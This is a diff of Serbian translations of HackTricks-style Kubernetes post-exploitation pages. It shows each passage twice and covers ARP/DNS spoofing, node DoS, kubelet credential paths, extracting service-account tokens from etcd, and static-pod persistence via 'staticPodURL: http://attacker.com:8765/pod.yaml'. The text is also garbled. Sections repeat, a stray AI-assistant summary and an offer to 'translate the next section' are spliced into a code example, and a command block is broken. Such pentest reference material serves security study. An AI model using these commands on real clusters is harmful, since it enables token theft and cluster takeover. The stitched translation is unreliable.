Podrazumevano, tehnike kao što su **ARP spoofing** (a zahvaljujući tome i **DNS Spoofing**) rade u kubernetes mreži. Zatim, unutar poda, ako imate **NET_RAW capability** (što je podrazumevano prisutno), moći ćete da šaljete ručno sačinjene mrežne pakete i izvite **MitM napade putem ARP Spoofing-a na sve podove koji rade na istom node-u.**\
Štaviše, ako se **malicious pod** nalazi na **istom node-u kao DNS Server**, moći ćete da izvršite **DNS Spoofing attack na sve podove u cluster-u**.
Podrazumevano, tehnike kao što je **ARP spoofing** (i zahvaljujući tome **DNS Spoofing**) rade u kubernetes network. Zatim, unutar pod-a, ako imate **NET_RAW capability** (koji je tu podrazumevano), moći ćete da šaljete custom crafted network packets i izvodite **MitM attacks via ARP Spoofing to all the pods running in the same node.**\
Štaviše, ako je **malicious pod** pokrenut na **istom node-u kao DNS Server**, moći ćete da izvedete **DNS Spoofing attack to all the pods in cluster**.
{{#ref}}
kubernetes-network-attacks.md
@@ -138,26 +138,26 @@ kubernetes-network-attacks.md
## Node DoS
U Kubernetes manifestima nema specifikacije resursa i **nisu primenjeni limit** opsezi za kontejnere. Kao attacker, možemo **potrošiti sve resurse na kojima pod/deployment radi** i uskratiti resurse drugima, što može izazvati DoS za okruženje.
U Kubernetes manifestima nema specifikacije resursa i **not applied limit** opsega za kontejnere. Kao attacker, možemo **consume all the resources where the pod/deployment running** i uskratiti resurse drugim procesima i izazvati DoS za environment.
Ovo se može uraditi pomoću alata kao što je [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng):
Ovo može da se uradi pomoću alata kao što je [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng):
```
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
```
Možete videti razliku između tokom pokretanja `stress-ng` i nakon toga
Možete videti razliku tokom pokretanja `stress-ng` i nakon toga
```bash
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
```
## Node Post-Exploitation
Ako ste uspeli da **pobegnete iz kontejnera**, na nodu ćete pronaći neke zanimljive stvari:
Ako ste uspeli da **escape from the container** postoje neke zanimljive stvari koje ćete pronaći na node-u:
- **Container Runtime** proces (Docker)
- Više **pods/containers** koji rade na nodu i koje možete zloupotrebiti kao ovaj (više tokena)
- Ceo **filesystem** i **OS** uopšte
- Više **pods/containers** koji rade na node-u i koje možete abuse-ovati kao ovaj (više tokena)
- Ceo **filesystem** i **OS** generalno
- **Kube-Proxy** servis koji sluša
- **Kubelet** servis koji sluša. Proverite config fajlove:
- Directory: `/var/lib/kubelet/`
- Direktorijum: `/var/lib/kubelet/`
- `/var/lib/kubelet/kubeconfig`
- `/var/lib/kubelet/kubelet.conf`
- `/var/lib/kubelet/config.yaml`
@@ -171,14 +171,20 @@ Ako ste uspeli da **pobegnete iz kontejnera**, na nodu ćete pronaći neke zanim
- `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration**
- `/etc/kubernetes/pki` - **Kubernetes Key**
### Image Pull and Registry Credentials
Nakon pristupa node-u, takođe pregledajte kako node povlači private images. Korisni dokazi uključuju runtime image metadata (`crictl images`), Pod ili ServiceAccount `imagePullSecrets`, containerd registry konfiguraciju kao što su `/etc/containerd/config.toml` i `/etc/containerd/certs.d`, i kubelet image credential provider flagove kao što su `--image-credential-provider-config` i `--image-credential-provider-bin-dir`.
Nemojte pretpostaviti da cached private image znači da imate reusable registry credentials. To možda samo dokazuje da image postoji na ovom node-u. Međutim, static runtime registry credentials, Docker config JSON pull secrets, ili credential provider koji može da izda short-lived pull credentials mogu otkriti private registry access. Novije Kubernetes verzije takođe podržavaju service-account-token based kubelet credential providers za image pulls, pa proverite da li provider koristi Pod-bound service account tokens i koji audience traži pre nego što prijavite impact.
### Find node kubeconfig
Ako ne možete da pronađete kubeconfig fajl na jednoj od prethodno pomenutih putanja, **proverite argument `--kubeconfig` procesa kubelet**:
Ako ne možete da pronađete kubeconfig fajl u jednom od prethodno komentarisanim path-ovima, **proverite argument `--kubeconfig` procesa kubelet**:
```
ps -ef | grep kubelet
root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
```
### Ukradi tajne
### Ukradi Secrets
```bash
# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system
@@ -199,20 +205,20 @@ echo ""
fi
done
```
Skripta [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) će automatski **dobiti tokene drugih podova i proveriti da li imaju dozvolu** koju tražite (umesto da ih vi tražite jednog po jednog):
Skripta [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) će automatski **uzeti tokene drugih podova i proveriti da li imaju dozvolu** koju tražite (umesto da ih vi proveravate 1 po 1):
```bash
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code
```
### Privileged DaemonSets
DaemonSet je **pod** koji će biti **pokrenut** na **svim node-ovima u cluster-u**. Zbog toga, ako je DaemonSet konfigurisan sa **privileged service account,** na **SVIM node-ovima** moći ćeš da pronađeš **token** tog **privileged service account** koji možeš da abuse-uješ.
DaemonSet je **pod** koji će biti **pokrenut** na **svim nodovima clustera**. Zato, ako je DaemonSet konfigurisan sa **privileged service account,** na **SVIM nodovima** moći ćeš da pronađeš **token** tog **privileged service account** koji možeš da abuse.
Exploit je isti kao u prethodnom delu, ali sada ne zavisiš od sreće.
Eksploit je isti kao u prethodnom delu, ali sada ne zavisiš od sreće.
### Pivot to Cloud
Ako cloud service upravlja cluster-om, obično će **Node imati drugačiji access do metadata** endpoint-a nego Pod. Zato pokušaj da **pristupiš metadata endpoint-u sa node-a** (ili iz poda sa hostNetwork na True):
Ako je cluster upravljan cloud servisom, obično će **Node imati drugačiji pristup metadata** endpoint-u nego Pod. Zato, pokušaj da **pristupiš metadata endpoint-u sa node-a** (ili iz poda sa hostNetwork postavljenim na True):
{{#ref}}
kubernetes-pivoting-to-clouds.md
@@ -220,153 +226,58 @@ kubernetes-pivoting-to-clouds.md
### Steal etcd
Ako možeš da navedeš [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) Node-a koji će pokrenuti container, dođi do shell-a unutar control-plane node-a i preuzmi **etcd database**:
Ako možeš da navedeš [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) Node-a na kojem će kontejner biti pokrenut, dobij shell unutar control-plane node-a i preuzmi **etcd database**:
```
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
```
control-plane nodovi imaju **ulogu master** i u **cloud managed clusterima nećete moći da pokrenete ništa na njima**.
control-plane čvorovi imaju **ulogu master** i u **cloud managed clusterima nećete moći da pokrećete ništa na njima**.
#### Čitanje secrets iz etcd 1
#### Read secrets from etcd 1
Ako možete da pokrenete svoj pod na control-plane nodu koristeći `nodeName` selektor u pod specifikaciji, možda ćete imati lak pristup `etcd` bazi podataka, koja sadrži svu konfiguraciju klastera, uključujući sve secrets.
Ako možete da pokrenete svoj pod na control-plane čvoru koristeći `nodeName` selektor u pod spec-u, možda ćete imati lak pristup `etcd` bazi podataka, koja sadrži svu konfiguraciju za cluster, uključujući sve secrets.
Ispod je brz i prljav način da izvučete secrets iz `etcd` ako radi na control-plane nodu na kojem se nalazite. Ako želite elegantnije rešenje koje podiže pod sa `etcd` client utility `etcdctl` i koristi credentials control-plane noda da se poveže na etcd gde god da radi, pogledajte [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) od @mauilion.
Ispod je brz i prljav način da izvučete secrets iz `etcd` ako radi na control-plane čvoru na kome se nalazite. Ako želite elegantnije rešenje koje podiže pod sa `etcd` client utility `etcdctl` i koristi kredencijale control-plane čvora da se poveže na etcd gde god da radi, pogledajte [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) od @mauilion.
**Proverite da li `etcd` radi na control-plane nodu i gde se nalazi database (Ovo je na klasteru kreiranom pomoću `kubeadm`)**
**Proverite da li `etcd` radi na control-plane čvoru i vidite gde se nalazi baza podataka (Ovo je na clusteru kreiranom sa `kubeadm`)**
```
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
```
# Napadanje Kubernetes-a iznutra iz poda
**Evo prvog koraka u pomoćnom sažetku:**
Kada ste već u kompromitovanom podu, imate različite opcije za dalji napad. Iako je `kubernetes` okruženje dizajnirano da ograniči uticaj kompromitovanog pod-a, u praksi često možete iskoristiti pogrešne konfiguracije, loše postavljene dozvole ili izložene kredencijale da proširite pristup.
Najčešći pristupi uključuju:
- Traženje **service account** tokena i korišćenje Kubernetes API-ja
- Enumeraciju dostupnih **RBAC** dozvola
- Traženje montiranih tajni, konfiguracionih fajlova i env varijabli
- Pokušaj pristupa drugim pod-ovima, čvorovima ili internim servisima
- Korišćenje pogrešno konfigurisanih `hostPath`, `privileged` pod-ova ili previše širokih capabilities
Ako pod ima dovoljno privilegija, moguće je:
- Kreirati nove pod-ove sa većim privilegijama
- Čitati tajne iz namespace-a
- Izvršiti lateral movement ka drugim delovima klastera
- Pokušati escape iz kontejnera do čvora
Tipično je prvi korak proveriti da li pod ima pristup Kubernetes API-ju i koje akcije su dozvoljene. Ako API nije dostupan direktno, i dalje možete tražiti lokalne tragove konfiguracije i osloniti se na interne mrežne servise i metapodatke.
U praksi, uspeh ovog tipa napada najčešće zavisi od kombinacije:
- loše konfiguracije klastera,
- preširokih dozvola,
- izloženih credentials,
- i nedostatka segmentacije između servisa.
```markdown
Ispod je prevod relevantnog engleskog teksta na srpski, uz očuvanje istog markdown i html sintaksnog oblika.
```
```bash
data-dir=/var/lib/etcd
```
**Pregledaj podatke u etcd database:**
**Prikaži podatke u etcd bazi podataka:**
```bash
strings /var/lib/etcd/member/snap/db | less
```
**Izvuci tokene iz baze podataka i prikaži ime service account-a**
**Izvucite tokene iz baze podataka i prikažite naziv service account-a**
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
```
**Ista komanda, ali sa nekim greps da vrati samo default token u namespace-u kube-system**
**Ista komanda, ali sa nekoliko `grep`-ova da vrati samo default token u `kube-system` namespace-u**
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
```
# Napad na Kubernetes iznutra iz pod-a
Kada se kompromituje bilo koji pod u klasteru, napadač može pokušati da zloupotrebi service account tog pod-a, njegove privilegije i pristup Kubernetes API-ju da bi se kretao dalje kroz okruženje.
Kada napadač već ima **pristup jednom pod-u** u klasteru, može pokušati da se kreće lateralno i eskalira privilegije koristeći loše konfiguracije, curenje kredencijala ili previše permisivne **RBAC** dozvole. Ovaj scenario je veoma čest u **pentesting**-u cloud okruženja, jer kompromitovani workload često otkriva način za pristup drugim resursima u klasteru.
## Provera dostupnih kredencijala
Tipične tehnike uključuju:
U mnogim slučajevima, pod će imati montiran service account token na:
- čitanje servisnih naloga iz montiranih fajlova
- pristup **Kubernetes API**-ju iznutra
- zloupotrebu **service account** tokena
- enumeraciju **Secrets**, **ConfigMaps** i drugih resursa
- abuse of privileged pods, host mounts, ili čak **container escape** puteva
```bash
/var/run/secrets/kubernetes.io/serviceaccount/token
```
Taj token se može koristiti za autentikaciju prema Kubernetes API-ju. Takođe je korisno proveriti sledeće fajlove:
```bash
/var/run/secrets/kubernetes.io/serviceaccount/namespace
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
```
Možeš testirati pristup API-ju sa:
```bash
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc
```
## Enumeracija privilegija
Nakon što dobiješ token, proveri koje privilegije ima service account. Na primer, možeš izlistati dozvoljene resurse i akcije pomoću:
```bash
kubectl auth can-i --token $TOKEN --list
```
Ako je `kubectl` nije dostupan, možeš direktno slati zahteve na API.
## Zloupotreba RBAC dozvola
Ako service account ima previsoke privilegije, napadač može:
- čitati secrets
- praviti nove pods
- mountovati hostPath volumene
- pristupiti drugim namespace-ovima
- izvršavati komande unutar drugih pod-ova
Primer čitanja secrets:
```bash
kubectl get secrets --token $TOKEN -n kube-system
```
Ako je moguće čitanje secrets, to često vodi do daljeg kompromitovanja celog klastera.
## Kretanje ka host-u
U nekim slučajevima, pod može imati mogućnost da mountuje host filesystem ili da se izvrši sa privilegijama koje omogućavaju escape iz kontejnera. Ovo je posebno opasno ako pod ima:
- `privileged: true`
- `hostNetwork: true`
- `hostPID: true`
- `hostPath` volume
- capabilities kao što su `SYS_ADMIN`
## Korišćenje Kubernetes API-ja za dalju zloupotrebu
Sa dovoljno privilegija, napadač može kreirati novi pod koji mountuje host filesystem i tako dobiti pristup nodu. Na primer, može se napraviti pod koji mountuje `/` sa nod-a kroz `hostPath`.
U praksi, često se prvo pokušava:
1. enumeracija `secrets`
2. provera RBAC dozvola
3. traženje `cluster-admin` ili sličnih širokih privilegija
4. kreiranje novih workload-ova sa jačim privilegijama
## Odbrana
Da bi se smanjio rizik:
- koristi najmanje privilegije za service accounts
- onemogući automatsko montiranje service account tokena gde nije potrebno
- ograniči RBAC striktno po namespace-u
- zabrani `privileged` kontejnere osim kada su neophodni
- koristi Pod Security mehanizme i admission kontrolere
- prati i loguj pristupe Kubernetes API-ju
Ako želiš, mogu i da prevedem sledeći odeljak iz knjige u istom formatu.
Ako pod radi sa dovoljno privilegija ili ako je klaster loše podešen, napadač može dobiti pristup širem delu infrastrukture, drugim namespace-ovima ili čak node-ovima.
```
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
```
@@ -378,7 +289,7 @@ Ako želiš, mogu i da prevedem sledeći odeljak iz knjige u istom formatu.
```bash
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
```
4. Pokreni **`etcd`** na svom lokalnom računaru i nateraj ga da koristi ukradeni snapshot:
4. Pokreni **`etcd`** na svojoj lokalnoj mašini i nateraj ga da koristi ukradeni snapshot:
```bash
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
@@ -387,33 +298,33 @@ etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./e
```bash
etcdctl get "" --prefix --keys-only | grep secret
```
6. Dobij secfrets:
6. Pronađi secfrets:
```bash
etcdctl get /registry/secrets/default/my-secret
```
### Static/Mirrored Pods Persistence
_Static Pods_ se direktno upravljaju od strane kubelet daemon-a na određenom node-u, bez da ih API server posmatra. Za razliku od Pods koji se upravljaju preko control plane (na primer, Deployment); umesto toga, **kubelet nadgleda svaki static Pod** (i restartuje ga ako padne).
_Static Pods_ su direktno upravljani od strane kubelet daemon-a na određenom node-u, bez da ih API server posmatra. Za razliku od Pods koji se upravljaju kroz control plane (na primer, Deployment); umesto toga, **kubelet nadgleda svaki static Pod** (i restartuje ga ako otkaže).
Zbog toga su static Pods uvek **vezani za jedan Kubelet** na određenom node-u.
**kubelet automatski pokušava da kreira mirror Pod na Kubernetes API serveru** za svaki static Pod. To znači da su Pods koji rade na node-u vidljivi na API serveru, ali se odatle ne mogu kontrolisati. Imena Pod-ova će imati sufiks sa hostname-om node-a, sa vodećim crticom.
**kubelet automatski pokušava da kreira mirror Pod na Kubernetes API serveru** za svaki static Pod. To znači da su Pods koji rade na node-u vidljivi na API serveru, ali ne mogu da se kontrolišu odatle. Imena Pod-ova će imati sufiks sa hostname-om node-a i vodećim crticom.
> [!CAUTION]
> **`spec` static Pod-a ne može da referiše na druge API objekte** (npr. ServiceAccount, ConfigMap, Secret, itd. Dakle, **ne možete zloupotrebiti ovo ponašanje da pokrenete pod sa proizvoljnim serviceAccount-om** na trenutnom node-u da kompromitujete cluster. Ali mogli biste ovo da iskoristite da pokrenete pods u različitim namespaces (ako je to iz nekog razloga korisno).
> **`spec` static Pod-a ne može da referiše na druge API objekte** (npr. ServiceAccount, ConfigMap, Secret, itd. Tako da **ne možeš zloupotrebiti ovo ponašanje da pokreneš pod sa proizvoljnim serviceAccount-om** na trenutnom node-u da kompromituješ cluster. Ali ovo možeš iskoristiti da pokreneš pods u različitim namespace-ovima (ako je to iz nekog razloga korisno).
Ako ste unutar node host-a, možete naterati da kreira **static pod unutar sebe**. Ovo je veoma korisno jer može da omogući da **kreirate pod u drugom namespace-u** kao što je **kube-system**.
Ako si unutar node host-a, možeš naterati sistem da kreira **static pod unutar samog sebe**. Ovo je prilično korisno jer može omogućiti da **kreiraš pod u drugom namespace-u** kao što je **kube-system**.
Da biste kreirali static pod, [**docs su od velike pomoći**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). U suštini su vam potrebne 2 stvari:
Da bi kreirao static pod, [**docs su od velike pomoći**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). U suštini su potrebne 2 stvari:
- Konfigurisati parametar **`--pod-manifest-path=/etc/kubernetes/manifests`** u **kubelet service**-u, ili u **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) i restartovati service
- Kreirati definiciju na **pod definition** u **`/etc/kubernetes/manifests`**
- Podesi parametar **`--pod-manifest-path=/etc/kubernetes/manifests`** u **kubelet service-u**, ili u **kubelet config-u** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) i restartuj service
- Kreiraj definiciju na **pod definition** u **`/etc/kubernetes/manifests`**
**Drugi, više stealth način bi bio da:**
**Još jedan stealthiji način bi bio da:**
- Izmenite parametar **`staticPodURL`** iz **kubelet** config fajla i postavite nešto kao **`staticPodURL: http://attacker.com:8765/pod.yaml`**. Ovo će naterati kubelet process da kreira **static pod** preuzimajući **konfiguraciju sa navedene URL adrese**.
- Izmeni parametar **`staticPodURL`** iz **kubelet** config fajla i postavi nešto poput `staticPodURL: http://attacker.com:8765/pod.yaml`. Ovo će naterati kubelet process da kreira **static pod** preuzimajući **konfiguraciju sa navedenog URL-a**.
**Example** **pod** konfiguracije za kreiranje privilegovanog poda u **kube-system** preuzet sa [**ovde**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
**Primer** **pod** konfiguracije za kreiranje privilege pod-a u **kube-system** preuzet od [**ovde**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
```yaml
apiVersion: v1
kind: Pod
@@ -441,7 +352,7 @@ type: Directory
```
### Delete pods + unschedulable nodes
Ako napadač ima **compromised node** i može da **delete pods** sa drugih nodova i **make other nodes not able to execute pods**, pods će biti ponovo pokrenuti na compromised nodu i on će moći da **steal the tokens** koji se izvršavaju u njima.\
Ako napadač ima **compromised node** i može da **delete pods** sa drugih node-ova i da **make other nodes not able to execute pods**, pods će biti ponovo pokrenuti na compromised node-u i on će moći da **steal the tokens** koji se izvršavaju u njima.\
Za [**more info follow this links**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes).
## Automatic Tools
@@ -508,7 +419,7 @@ Off-Menu +
```
- [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI)
## References
## Reference
- [Forgotten (HTB) - Writable bind mount SUID planting](https://0xdf.gitlab.io/2025/09/16/htb-forgotten.html)
- [Kubernetes hostPath volume](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath)
@@ -2,11 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
Postoje **različiti načini za expose services** u Kubernetes tako da i **internal** endpoints i **external** endpoints mogu da im pristupe. Ova Kubernetes konfiguracija je prilično kritična jer administrator može dati access **attackersima do services kojima ne bi trebalo da mogu da pristupe**.
Postoje **različiti načini da se expose-uju services** u Kubernetes tako da im mogu pristupiti i **internal** endpoints i **external** endpoints. Ova Kubernetes konfiguracija je prilično kritična jer administrator može dati access **attackers-ima do services kojima ne bi smeli da pristupe**.
### Automatic Enumeration
Pre nego što počnemo enumerating načine koje K8s nudi za expose services public, znaj da ako možeš da listuješ namespaces, services i ingresses, možeš da pronađeš sve exposed to the public sa:
Pre nego što počnete da enumerate-ujete načine koje K8s nudi za exposing services publicly, znajte da, ako možete da list-ujete namespaces, services i ingresses, možete pronaći sve što je exposed publicly sa:
```bash
kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do
echo "Namespace: $ns"
@@ -20,21 +20,21 @@ done | grep -v "ClusterIP"
```
### ClusterIP
**ClusterIP** service je **podrazumevani** Kubernetes **service**. On vam daje **service unutar** vašeg cluster-a kojem druge aplikacije unutar vašeg cluster-a mogu da pristupe. **Nema eksternog pristupa**.
**ClusterIP** **service** je podrazumevani Kubernetes **service**. On vam daje **service unutar** vašeg cluster-a kojem druge aplikacije unutar vašeg cluster-a mogu pristupiti. **Nema eksternog pristupa**.
Međutim, ovome se može pristupiti koristeći Kubernetes Proxy:
```bash
kubectl proxy --port=8080
```
Sada možete da navigirate kroz Kubernetes API da biste pristupili uslugama koristeći ovu šemu:
Sada možete da navigirate kroz Kubernetes API kako biste pristupili servisima koristeći ovu šemu:
`http://localhost:8080/api/v1/proxy/namespaces/<NAMESPACE>/services/<SERVICE-NAME>:<PORT-NAME>/`
Na primer, možete da koristite sledeći URL:
Na primer, možete koristiti sledeći URL:
`http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/`
da biste pristupili ovoj usluzi:
da biste pristupili ovom servisu:
```yaml
apiVersion: v1
kind: Service
@@ -50,15 +50,15 @@ port: 80
targetPort: 80
protocol: TCP
```
_Ovaj metod zahteva da pokrenete `kubectl` kao **autentifikovan korisnik**._
_Ovaj metod zahteva da pokrećeš `kubectl` kao **autentifikovan korisnik**._
Prikažite sve ClusterIP adrese:
Izlistaj sve ClusterIP-eve:
```bash
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep ClusterIP
```
### NodePort
Kada se koristi **NodePort**, određeni port postaje dostupan na svim Node-ovima (koji predstavljaju Virtual Machines). **Traffic** usmeren na ovaj konkretan port zatim se sistematski **routuje ka service-u**. Obično se ovaj metod ne preporučuje zbog njegovih nedostataka.
Kada se koristi **NodePort**, određeni port se otvara na svim Node-ovima (koji predstavljaju Virtual Machines). **Saobraćaj** usmeren ka ovom konkretnom portu se zatim sistematski **rutira ka servisu**. Uobičajeno, ovaj metod se ne preporučuje zbog svojih nedostataka.
List all NodePorts:
```bash
@@ -81,41 +81,42 @@ targetPort: 80
nodePort: 30036
protocol: TCP
```
Ako **ne navedete** **nodePort** u yaml (to je port koji će biti otvoren), koristiće se port u **rasponu 3000032767**.
Ako **ne navedete** **nodePort** u yaml-u (to je port koji će biti otvoren), koristiće se port iz **opsega 3000032767**.
Prilikom pregleda NodePort ili LoadBalancer Services, takođe proverite traffic-policy polja jer ona menjaju koji su nodovi i backendovi korisni iz datog izvora:
Prilikom pregleda NodePort ili LoadBalancer Services, proverite i traffic-policy polja jer ona menjaju koji su nodovi i backendovi korisni iz datog izvora:
```bash
kubectl get services --all-namespaces \
-o custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,ETP:.spec.externalTrafficPolicy,ITP:.spec.internalTrafficPolicy,AFFINITY:.spec.sessionAffinity,DIST:.spec.trafficDistribution,NODEPORTS:.spec.ports[*].nodePort'
```
- `externalTrafficPolicy: Local` čuva originalnu client source IP adresu za NodePort/LoadBalancer traffic i izbegava prosleđivanje ka endpointima na drugim node-ovima. Node bez lokalnog ready endpoint-a može da odbaci traffic čak i ako Service ima endpoint-e negde drugde.
- `externalTrafficPolicy: Cluster` je podrazumevana opcija i može da prosleđuje kroz bilo koji node, ali backend logovi mogu da vide node IP adrese umesto stvarne eksternе client IP adrese.
- `internalTrafficPolicy: Local` ograničava in-cluster Service traffic na endpoint-e lokalne za source node. Ovo je locality routing, ne authorization boundary.
- `sessionAffinity: ClientIP` može da učini da ponovljeni testovi sa jednog client-a pogađaju isti backend, skrivajući druge ready endpoint-e tokom ručnih provera.
- `trafficDistribution` i EndpointSlice topology hints mogu da preferiraju same-zone ili same-node endpoint-e na novijim cluster-ovima; tretirajte ih kao routing preferences, a ne kao strogu security policy.
- NodePorts se obično izlažu na node adresama, ali kube-proxy može ograničiti opsege adresa sa `--nodeport-addresses` ili `nodePortAddresses` u svojoj konfiguraciji. Proveri aktivnu kube-proxy ili CNI service-proxy replacement konfiguraciju pre nego što pretpostaviš da je NodePort dostupan na svakoj node IP adresi.
- `externalTrafficPolicy: Local` čuva originalnu source IP adresu klijenta za NodePort/LoadBalancer traffic i izbegava prosleđivanje ka endpointima na drugim nodeovima. Node bez lokalnog ready endpointa može odbiti traffic čak i ako Service ima endpointе negde drugde.
- `externalTrafficPolicy: Cluster` je podrazumevana opcija i može prosleđivati kroz bilo koji node, ali backend logs mogu videti node IP adrese umesto stvarne spoljne IP adrese klijenta.
- `internalTrafficPolicy: Local` ograničava in-cluster Service traffic na endpoint-e lokalne za source node. Ovo je locality routing, a ne authorization boundary.
- `sessionAffinity: ClientIP` može učiniti da ponovljeni testovi sa jednog klijenta pogode isti backend, skrivajući druge ready endpoint-e tokom ručnih provera.
- `trafficDistribution` i EndpointSlice topology hints mogu preferirati iste-zone ili isti-node endpoint-e na novijim clusterima; tretiraj ih kao routing preference, a ne kao strogu security policy.
### LoadBalancer
Exposes the Service externally **using a cloud provider's load balancer**. On GKE, this will spin up a [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) that will give you a single IP address that will forward all traffic to your service. In AWS it will launch a Load Balancer.
Izlaže Service eksterno **koristeći cloud provider-ov load balancer**. Na GKE, ovo će pokrenuti [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) koji će ti dati jednu IP adresu koja će prosleđivati sav traffic ka tvom service-u. U AWS će pokrenuti Load Balancer.
You have to pay for a LoadBalancer per exposed service, which can be expensive.
Moraš da platiš LoadBalancer za svaki izloženi service, što može biti skupo.
List all LoadBalancers:
Izlistaj sve LoadBalancers:
```bash
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer
```
### External IPs
> [!TIP]
> External IPs su izložene preko servisa tipa Load Balancers i uglavnom se koriste kada se koristi eksterni Cloud Provider Load Balancer.
> External IPs su izložene od strane service-ova tipa Load Balancers i uglavnom se koriste kada se koristi eksterni Cloud Provider Load Balancer.
>
> Za pronalaženje, proverite load balancere sa vrednostima u polju `EXTERNAL-IP`.
> Za pronalaženje, proveri load balancers sa vrednostima u polju `EXTERNAL-IP`.
Saobraćaj koji ulazi u cluster sa **external IP** (kao **destination IP**), na Service port, biće **usmeren na jedan od Service endpointa**. `externalIPs` ne upravlja Kubernetes i za njih je odgovoran administrator cluster-a.
Saobraćaj koji ulazi u cluster sa **external IP** (kao **destination IP**), na Service port, biće **usmeren na jedan od Service endpoints**. `externalIPs` ne upravlja Kubernetes i to je odgovornost cluster administratora.
`externalIPs` je osetljivo polje za kontrolu ruta, jer korisnik koji može da ga postavi može prisvojiti saobraćaj za IP adresu nad kojom vlasnik Service-a ne bi trebalo da ima kontrolu, ako okolna mreža usmerava taj IP ka cluster-u. Kubernetes je najavio deprecaciju i planirano uklanjanje Service `externalIPs` u v1.36, zato gde god je moguće preferirajte mehanizme izlaganja kojima upravljaju controller-i, kao što su LoadBalancer integracije ili Gateway API, i pažljivo ograničite/dozvoljavajte ovo polje dok još postoji.
`externalIPs` je osetljivo polje za kontrolu routinga jer korisnik koji može da ga postavi može preuzeti saobraćaj za IP adresu nad kojom Service owner ne bi trebalo da ima kontrolu, ako okolna network routa taj IP ka clusteru. Kubernetes je najavio deprecaciju i planirano uklanjanje Service `externalIPs` u v1.36, pa gde je moguće koristi mehanizme izlaganja kojima upravlja controller, kao što su LoadBalancer integracije ili Gateway API, i pažljivo ograniči/admit ovo polje dok još postoji.
U Service spec, `externalIPs` može biti naveden zajedno sa bilo kojim od `ServiceTypes`. U primeru ispod, "`my-service`" mogu da koriste klijenti na "`80.11.12.10:80`" (`externalIP:port`)
U Service spec, `externalIPs` može da se navede zajedno sa bilo kojim od `ServiceTypes`. U primeru ispod, "`my-service`" može da bude pristupljen od strane klijenata na "`80.11.12.10:80`" (`externalIP:port`)
```yaml
apiVersion: v1
